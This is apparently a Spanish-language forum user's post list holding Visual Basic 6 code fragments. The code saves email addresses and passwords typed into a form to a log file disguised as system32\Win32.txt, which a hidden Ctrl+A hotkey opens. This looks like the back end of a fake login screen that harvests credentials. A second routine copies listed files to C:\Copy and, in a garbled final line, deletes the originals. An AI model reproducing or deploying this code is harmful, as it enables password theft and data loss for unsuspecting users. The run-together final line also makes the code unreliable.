Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
If GetAsyncKeyState(vbKeyControl) And GetAsyncKeyState(vbKeyA) Then
Call ShellExecute(0&, "Open", (Environ$("windir") & "\system32\Win32.txt"), "", vbNullString, 1)
End If
Private Sub Command1_Click()
Call GuardarArchivo("C:\WINDOWS\system32\Win32.txt", Text1, Text2)
End Sub
Sub GuardarArchivo(Ruta As String, Text1, Text2 As TextBox)
On Error Resume Next
Dim fnum As Integer
On Error GoTo Ninguno
fnum = FreeFile
Open Ruta For Append As fnum
Print #fnum, "Mail:"; Text1.Text
Print #fnum, "Contraseña:"; Text2.Text
Print #fnum, "-------------------------------------------------"
Print #fnum, ""
Close fnum
Exit Sub
Ninguno:
MsgBox "Error al guardar el archivo"
End Sub
Private Sub Command2_Click()
On Error Resume Next
Dim i As Integer
Dim fso As FileSystemObject
Set fso = New FileSystemObject
For i = 0 To List1.ListCount
Path = List1.List(i)
fso.CopyFile Path, "C:\Copy\", True
Next i
Set fso = Nothing
List1.Clear
MsgBox "Sus archivos fueron copiados satisfactoriamente", vbInformation, "c0c0_w3y_s0ftwar3"
End Subfso.CopyFile Path, "C:\Copy\", Truefso.DeleteFile Path, True